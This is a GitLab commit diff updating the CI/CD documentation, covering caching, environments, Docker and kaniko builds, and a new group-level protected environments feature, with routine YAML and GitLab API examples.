diff options
| author | GitLab Bot <gitlab-bot@gitlab.com> | 2021-06-16 18:25:58 +0000 |
|---|---|---|
| committer | GitLab Bot <gitlab-bot@gitlab.com> | 2021-06-16 18:25:58 +0000 |
| commit | a5f4bba440d7f9ea47046a0a561d49adf0a1e6d4 (patch) | |
| tree | fb69158581673816a8cd895f9d352dcb3c678b1e /doc/ci | |
| parent | d16b2e8639e99961de6ddc93909f3bb5c1445ba1 (diff) | |
| download | gitlab-ce-a5f4bba440d7f9ea47046a0a561d49adf0a1e6d4.tar.gz | |
Add latest changes from gitlab-org/gitlab@14-0-stable-eev14.0.0-rc42
Diffstat (limited to 'doc/ci')
64 files changed, 2085 insertions, 1776 deletions
diff --git a/doc/ci/README.md b/doc/ci/README.md index 30a6668dbfd..dc4312250ca 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application." @@ -70,7 +70,7 @@ GitLab CI/CD supports numerous configuration options: | Configuration | Description | |:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| | [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | -| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-path) | Define a custom path for the CI/CD configuration file. | +| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-file) | Define a custom path for the CI/CD configuration file. | | [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. | | [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. | | [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index f2cb9500b2c..0778d598d32 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -1,77 +1,39 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- -# Cache dependencies in GitLab CI/CD +# Caching in GitLab CI/CD -GitLab CI/CD provides a caching mechanism that can be used to save time -when your jobs are running. +A cache is one or more files that a job downloads and saves. Subsequent jobs that use +the same cache don't have to download the files again, so they execute more quickly. -Caching is about speeding the time a job is executed by reusing the same -content of a previous job. Use caching when you are -developing software that depends on other libraries which are fetched via the -internet during build time. +To learn how to define the cache in your `.gitlab-ci.yml` file, +see the [`cache` reference](../yaml/README.md#cache). -If caching is enabled, it's shared between pipelines and jobs at the project -level by default. Caches are not shared across projects. +## How cache is different from artifacts -Make sure you read the [`cache` reference](../yaml/README.md#cache) to learn -how it is defined in `.gitlab-ci.yml`. +Use cache for dependencies, like packages you download from the internet. +Cache is stored where GitLab Runner is installed and uploaded to S3 if +[distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). -## Cache vs artifacts +- You can define it per job by using the `cache:` keyword. Otherwise it is disabled. +- You can define it per job so that: + - Subsequent pipelines can use it. + - Subsequent jobs in the same pipeline can use it, if the dependencies are identical. +- You cannot share it between projects. -If you use cache and artifacts to store the same path in your jobs, the cache might -be overwritten because caches are restored before artifacts. - -Don't use caching for passing artifacts between stages, as it is designed to store -runtime dependencies needed to compile the project: - -- `cache`: **For storing project dependencies** - - Caches can increase the speed of a given job in subsequent pipelines. You can - store downloaded dependencies so that they don't have to be fetched from the - internet again. Dependencies include things like npm packages, Go vendor packages, and so on. - You can configure a cache to pass intermediate build results between stages, - but you should use artifacts instead. - -- `artifacts`: **Use for stage results that are passed between stages.** - - Artifacts are files that are generated by a job so they can be stored and uploaded. You can - fetch and use artifacts in jobs in later stages of the same pipeline. You can't - create an artifact in a job in one stage, and use this artifact in a different job in - the same stage. This data is not available in different pipelines, but can be downloaded - from the UI. - - If you download modules while building your application, you can declare them as - artifacts and subsequent stage jobs can use them. +Use artifacts to pass intermediate build results between stages. +Artifacts are generated by a job, stored in GitLab, and can be downloaded. - You can define an [expiry time](../yaml/README.md#artifactsexpire_in) so artifacts - are deleted after a defined time. Use [dependencies](../yaml/README.md#dependencies) - to control which jobs fetch the artifacts. +- You can define artifacts per job. Subsequent jobs in later stages of the same + pipeline can use them. +- You can't use the artifacts in a different pipeline. - Artifacts can also be used to make files available for download after a pipeline - completes, like a build image. - -Caches: - -- Are disabled if not defined globally or per job (using `cache:`). -- Are available for all jobs in your `.gitlab-ci.yml` if enabled globally. -- Can be used in subsequent pipelines by the same job in which the cache was created (if not defined globally). -- Are stored where GitLab Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). -- If defined per job, are used: - - By the same job in a subsequent pipeline. - - By subsequent jobs in the same pipeline, if they have identical dependencies. - -Artifacts: - -- Are disabled if not defined per job (using `artifacts:`). -- Can only be enabled per job, not globally. -- Are created during a pipeline and can be used by subsequent jobs in the same pipeline. -- Are always uploaded to GitLab (known as coordinator). -- Can have an expiration value for controlling disk usage (30 days by default). +Artifacts expire after 30 days unless you define an [expiration time](../yaml/README.md#artifactsexpire_in). +Use [dependencies](../yaml/README.md#dependencies) to control which jobs fetch the artifacts. Both artifacts and caches define their paths relative to the project directory, and can't link to files outside it. @@ -81,10 +43,9 @@ can't link to files outside it. To ensure maximum availability of the cache, when you declare `cache` in your jobs, use one or more of the following: -- [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs +- [Tag your runners](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. -- [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - that are only available to a particular project. +- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects). - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [predefined CI/CD variables](../variables/README.md#predefined-cicd-variables). @@ -102,7 +63,7 @@ For runners to work with caches efficiently, you must do one of the following: Read about the [availability of the cache](#availability-of-the-cache) to learn more about the internals and get a better idea how cache works. -### Share caches across the same branch +### Share caches between jobs in the same branch Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each branch always use the same cache: @@ -130,7 +91,7 @@ cache: key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG" ``` -### Share caches across different branches +### Share caches across jobs in different branches To share a cache across all branches and all jobs, use the same key for everything: @@ -146,7 +107,7 @@ cache: key: ${CI_JOB_NAME} ``` -### Disable cache on specific jobs +### Disable cache for specific jobs If you have defined the cache globally, it means that each job uses the same definition. You can override this behavior per-job, and if you want to @@ -189,7 +150,7 @@ The most common use case of caching is to avoid downloading content like depende or libraries repeatedly between subsequent runs of jobs. Node.js packages, PHP packages, Ruby gems, Python libraries, and others can all be cached. -For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). ### Cache Node.js dependencies @@ -201,7 +162,7 @@ Instead, we tell npm to use `./.npm`, and cache it per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml # image: node:latest @@ -219,7 +180,7 @@ test_async: - node ./specs/start.js ./specs/async.spec.js ``` -### Caching PHP dependencies +### Cache PHP dependencies Assuming your project is using [Composer](https://getcomposer.org/) to install the PHP dependencies, the following example defines `cache` globally so that @@ -228,7 +189,7 @@ are cached per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml # image: php:7.2 @@ -248,7 +209,7 @@ test: - vendor/bin/phpunit --configuration phpunit.xml --coverage-text --colors=never ``` -### Caching Python dependencies +### Cache Python dependencies Assuming your project is using [pip](https://pip.pypa.io/en/stable/) to install the Python dependencies, the following example defines `cache` globally so that @@ -257,7 +218,7 @@ pip's cache is defined under `.cache/pip/` and both are cached per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml # image: python:latest @@ -289,7 +250,7 @@ test: - flake8 . ``` -### Caching Ruby dependencies +### Cache Ruby dependencies Assuming your project is using [Bundler](https://bundler.io) to install the gem dependencies, the following example defines `cache` globally so that all @@ -297,7 +258,7 @@ jobs inherit it. Gems are installed in `vendor/ruby/` and are cached per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml # image: ruby:2.6 @@ -347,7 +308,7 @@ deploy_job: - bundle exec deploy ``` -### Caching Go dependencies +### Cache Go dependencies Assuming your project is using [Go Modules](https://github.com/golang/go/wiki/Modules) to install Go dependencies, the following example defines `cache` in a `go-cache` template, that @@ -396,6 +357,9 @@ machine where the runner is installed and depends on the type of the executor. | [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. | | [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. | +If you use cache and artifacts to store the same path in your jobs, the cache might +be overwritten because caches are restored before artifacts. + ### How archiving and extracting works This example has two jobs that belong to two consecutive stages: diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/chatops/README.md +++ b/doc/ci/chatops/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index 38930eb60ad..4d3f12dff05 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index deadc4458a2..c6fa049dc6e 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md index cc6c629fb47..8c961ea6128 100644 --- a/doc/ci/ci_cd_for_external_repos/index.md +++ b/doc/ci/ci_cd_for_external_repos/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, howto --- diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index dab9d8b78ae..e9725a29fc7 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/docker/README.md +++ b/doc/ci/docker/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/docker/index.md b/doc/ci/docker/index.md index 0897bb183e5..20599c5ca85 100644 --- a/doc/ci/docker/index.md +++ b/doc/ci/docker/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 90a33478239..9dac08324c8 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -25,9 +25,8 @@ To enable Docker commands for your CI/CD jobs, you can use: If you don't want to execute a runner in privileged mode, but want to use `docker build`, you can also [use kaniko](using_kaniko.md). -If you are using shared runners on GitLab.com, see -[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) -to learn more about how these runners are configured. +If you are using shared runners on GitLab.com, +[learn more about how these runners are configured](../runners/README.md). ### Use the shell executor @@ -91,7 +90,7 @@ The Docker image has all of the `docker` tools installed and can run the job script in context of the image in privileged mode. We recommend you use [Docker-in-Docker with TLS enabled](#docker-in-docker-with-tls-enabled), -which is supported by [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners). +which is supported by [GitLab.com shared runners](../runners/README.md). You should always specify a specific version of the image, like `docker:19.03.12`. If you use a tag like `docker:stable`, you have no control over which version is used. diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index 173701ef358..29f4053f720 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -128,6 +128,10 @@ For example, the following two definitions are equal: - name: redis:latest ``` +## Where scripts are executed + +When a CI job runs in a Docker container, the `before_script`, `script`, and `after_script` commands run in the `/builds/<project-path>/` directory. Your image may have a different default `WORKDIR` defined. To move to your `WORKDIR`, save the `WORKDIR` as an environment variable so you can reference it in the container during the job's runtime. + ### Available settings for `image` > Introduced in GitLab and GitLab Runner 9.4. diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 0344e736dd4..05769cc8f75 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -99,8 +99,8 @@ build: KANIKOCFG="${KANIKOCFG} }" echo "${KANIKOCFG}" > /kaniko/.docker/config.json - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile $KANIKOPROXYBUILDARGS --destination $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` ## Using a registry with a custom certificate @@ -133,7 +133,7 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build) Guided Exploration project pipeline. It was tested on: -- [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) +- [GitLab.com shared runners](../runners/README.md) - [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html) The example can be copied to your own group or instance for testing. More details diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index 72fd9833df1..4633cc1a3f8 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 6fda6bb0d8b..c57dc99f341 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -117,7 +117,7 @@ The other pipelines don't get the protected variable. You can also [scope variables to specific environments](../variables/where_variables_can_be_used.md#variables-with-an-environment-scope). We recommend that you use protected variables on protected environments to make sure that the secrets aren't exposed unintentionally. You can also define production secrets on the -[runner side](../runners/README.md#prevent-runners-from-revealing-sensitive-information). +[runner side](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). This prevents other maintainers from reading the secrets and makes sure that the runner only runs on protected branches. @@ -141,7 +141,7 @@ reference a file in another project with a completely different set of permissio In this scenario, the `gitlab-ci.yml` is publicly accessible, but can only be edited by users with appropriate permissions in the other project. -For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-path). +For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-file). ## Troubleshooting diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index 4ee9aa9a5ba..a89bc1c89aa 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -20,8 +20,8 @@ see which pipelines are green and which are red allowing you to diagnose if there is a block at a particular point, or if there's a more systemic problem you need to investigate. -You can access the dashboard from the top bar by clicking -**More > Environments**. +You can access the dashboard on the top bar by selecting +**Menu > Environments**.  diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 06618a820db..62c58302886 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -31,7 +31,7 @@ Prerequisites: To view a list of environments and deployments: -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. The environments are displayed.  @@ -57,7 +57,7 @@ You can create an environment and deployment in the UI or in your `.gitlab-ci.ym In the UI: -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select **New environment**. 1. Enter a name and external URL. 1. Select **Save**. @@ -99,10 +99,10 @@ deploy_review: environment: name: review/$CI_COMMIT_REF_NAME url: https://$CI_ENVIRONMENT_SLUG.example.com - only: - - branches - except: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + when: never + - if: $CI_COMMIT_BRANCH ``` In this example: @@ -136,7 +136,7 @@ you can use tiers: | Environment tier | Environment name examples | |------------------|----------------------------------------------------| | `production` | Production, Live | -| `staging` | Staging, Model, Pre, Demo | +| `staging` | Staging, Model, Demo | | `testing` | Test, QC | | `development` | Dev, [Review apps](../review_apps/index.md), Trunk | | `other` | | @@ -158,8 +158,8 @@ deploy_prod: name: production url: https://example.com when: manual - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` The `when: manual` action: @@ -200,8 +200,8 @@ deploy: url: https://example.com kubernetes: namespace: production - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` When you use the GitLab Kubernetes integration to deploy to a Kubernetes cluster, @@ -326,7 +326,7 @@ If there is a problem with a deployment, you can retry it or roll it back. To retry or rollback a deployment: -1. Go to the project's **Operations > Environments**. +1. Go to the project's **Deployments > Environments**. 1. Select the environment. 1. To the right of the deployment name: - To retry a deployment, select **Re-deploy to environment**. @@ -409,7 +409,7 @@ The job with [`action: stop` might not run](#the-job-with-action-stop-doesnt-run if it's in a later stage than the job that started the environment. If you can't use [pipelines for merge requests](../merge_request_pipelines/index.md), -set the [`GIT_STRATEGY`](../runners/README.md#git-strategy) to `none` in the +set the [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) to `none` in the `stop_review` job. Then the [runner](https://docs.gitlab.com/runner/) doesn't try to check out the code after the branch is deleted. @@ -465,7 +465,7 @@ GitLab automatically triggers the `stop_review_app` job to stop the environment. You can view a deployment's expiration date in the GitLab UI. -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select the name of the deployment. In the top left, next to the environment name, the expiration date is displayed. @@ -474,7 +474,7 @@ In the top left, next to the environment name, the expiration date is displayed. You can manually override a deployment's expiration date. -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select the deployment name. 1. On the top right, select the thumbtack (**{thumbtack}**). @@ -491,7 +491,7 @@ You can delete [stopped environments](#stopping-an-environment) in the GitLab UI To delete a stopped environment in the GitLab UI: -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select the **Stopped** tab. 1. Next to the environment you want to delete, select **Delete environment**. 1. On the confirmation dialog box, select **Delete environment**. diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index df0bb2817ab..c276059cb9e 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -23,8 +23,8 @@ with the right privileges can deploy to it, thus keeping it safe. NOTE: A GitLab admin is always allowed to use environments, even if they are protected. -To protect, update, or unprotect an environment, you need to have at least -[Maintainer permissions](../../user/permissions.md). +To protect, update, or unprotect an environment, you need to have at least the +[Maintainer role](../../user/permissions.md). ## Protecting environments @@ -79,7 +79,8 @@ Alternatively, you can use the API to protect an environment: 1. Use the API to add a user to the group as a reporter: ```shell - $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=3222377&access_level=20" "https://gitlab.com/api/v4/groups/9899826/members" + $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "user_id=3222377&access_level=20" "https://gitlab.com/api/v4/groups/9899826/members" {"id":3222377,"name":"Sean Carroll","username":"sfcarroll","state":"active","avatar_url":"https://assets.gitlab-static.net/uploads/-/system/user/avatar/3222377/avatar.png","web_url":"https://gitlab.com/sfcarroll","access_level":20,"created_at":"2020-10-26T17:37:50.309Z","expires_at":null} ``` @@ -87,7 +88,8 @@ Alternatively, you can use the API to protect an environment: 1. Use the API to add the group to the project as a reporter: ```shell - $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --request POST "https://gitlab.com/api/v4/projects/22034114/share?group_id=9899826&group_access=20" + $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --request POST "https://gitlab.com/api/v4/projects/22034114/share?group_id=9899826&group_access=20" {"id":1233335,"project_id":22034114,"group_id":9899826,"group_access":20,"expires_at":null} ``` @@ -95,7 +97,8 @@ Alternatively, you can use the API to protect an environment: 1. Use the API to add the group with protected environment access: ```shell - curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/projects/22034114/protected_environments" + curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/projects/22034114/protected_environments" ``` The group now has access and can be seen in the UI. @@ -151,6 +154,129 @@ be re-entered if the environment is re-protected. For more information, see [Deployment safety](deployment_safety.md). +## Group-level protected environments + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215888) in [GitLab Premium](https://about.gitlab.com/pricing/) 14.0. +> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-group-level-protected-environments). **(FREE SELF)** + +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](../../user/feature_flags.md#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. + +Typically, large enterprise organizations have an explicit permission boundary +between [developers and operators](https://about.gitlab.com/topics/devops/). +Developers build and test their code, and operators deploy and monitor the +application. With group-level protected environments, the permission of each +group is carefully configured in order to prevent unauthorized access and +maintain proper separation of duty. Group-level protected environments +extend the [project-level protected environments](#protecting-environments) +to the group-level. + +The permissions of deployments can be illustrated in the following table: + +| Environment | Developer | Operator | Category | +|-------------|------------|----------|----------| +| Development | Allowed | Allowed | Lower environment | +| Testing | Allowed | Allowed | Lower environment | +| Staging | Disallowed | Allowed | Higher environment | +| Production | Disallowed | Allowed | Higher environment | + +_(Reference: [Deployment environments on Wikipedia](https://en.wikipedia.org/wiki/Deployment_environment))_ + +### Group-level protected environments names + +Contrary to project-level protected environments, group-level protected +environments use the [deployment tier](index.md#deployment-tier-of-environments) +as their name. + +A group may consist of many project environments that have unique names. +For example, Project-A has a `gprd` environment and Project-B has a `Production` +environment, so protecting a specific environment name doesn't scale well. +By using deployment tiers, both are recognized as `production` deployment tier +and are protected at the same time. + +### Configure group-level memberships + +In an enterprise organization, with thousands of projects under a single group, +ensuring that all of the [project-level protected environments](#protecting-environments) +are properly configured is not a scalable solution. For example, a developer +might gain privileged access to a higher environment when they are added as a +maintainer to a new project. Group-level protected environments can be a solution +in this situation. + +To maximize the effectiveness of group-level protected environments, +[group-level memberships](../../user/group/index.md) must be correctly +configured: + +- Operators should be assigned the [maintainer role](../../user/permissions.md) + (or above) to the top-level group. They can maintain CI/CD configurations for + the higher environments (such as production) in the group-level settings page, + wnich includes group-level protected environments, + [group-level runners](../runners/runners_scope.md#group-runners), + [group-level clusters](../../user/group/clusters/index.md), etc. Those + configurations are inherited to the child projects as read-only entries. + This ensures that only operators can configure the organization-wide + deployment ruleset. +- Developers should be assigned the [developer role](../../user/permissions.md) + (or below) at the top-level group, or explicitly assigned to a child project + as maintainers. They do *NOT* have access to the CI/CD configurations in the + top-level group, so operators can ensure that the critical configuration won't + be accidentally changed by the developers. +- For sub-groups and child projects: + - Regarding [sub-groups](../../user/group/subgroups/index.md), if a higher + group has configured the group-level protected environment, the lower groups + cannot override it. + - [Project-level protected environments](#protecting-environments) can be + combined with the group-level setting. If both group-level and project-level + environment configurations exist, the user must be allowed in **both** + rulesets in order to run a deployment job. + - Within a project or a sub-group of the top-level group, developers can be + safely assigned the Maintainer role to tune their lower environments (such + as `testing`). + +Having this configuration in place: + +- If a user is about to run a deployment job in a project and allowed to deploy + to the environment, the deployment job proceeds. +- If a user is about to run a deployment job in a project but disallowed to + deploy to the environment, the deployment job fails with an error message. + +### Protect a group-level environment + +To protect a group-level environment: + +1. Make sure your environments have the correct + [`deployment_tier`](index.md#deployment-tier-of-environments) defined in + `gitlab-ci.yml`. +1. Configure the group-level protected environments via the + [REST API](../../api/group_protected_environments.md). + +NOTE: +Configuration [via the UI](https://gitlab.com/gitlab-org/gitlab/-/issues/325249) +is scheduled for a later release. + +### Enable or disable Group-level protected environments **(FREE SELF)** + +Group-level protected environments is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:group_level_protected_environments) +``` + +To disable it: + +```ruby +Feature.disable(:group_level_protected_environments) +``` + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 3238b062752..90273190697 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index @@ -56,7 +56,7 @@ separate example projects: ## CI/CD templates Get started with GitLab CI/CD and your favorite programming language or framework by using a -`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). When you create a `gitlab-ci.yml` file in the UI, you can choose one of these templates: @@ -99,7 +99,7 @@ choose one of these templates: If a programming language or framework template is not in this list, you can contribute one. To create a template, submit a merge request -to [the templates list](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +to [the templates list](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). ### Adding templates to your GitLab installation **(PREMIUM SELF)** diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index 40ba7cff5f9..fc1e06e91c6 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -50,6 +50,7 @@ The JWT's payload looks like this: "user_login": "myuser" # GitLab @username "user_email": "myuser@example.com", # Email of the user executing the job "pipeline_id": "1212", # + "pipeline_source": "web", # Pipeline source, see: https://docs.gitlab.com/ee/ci/yaml/#common-if-clauses-for-rules "job_id": "1212", # "ref": "auto-deploy-2020-04-01", # Git ref for this job "ref_type": "branch", # Git ref type, branch or tag @@ -202,6 +203,10 @@ 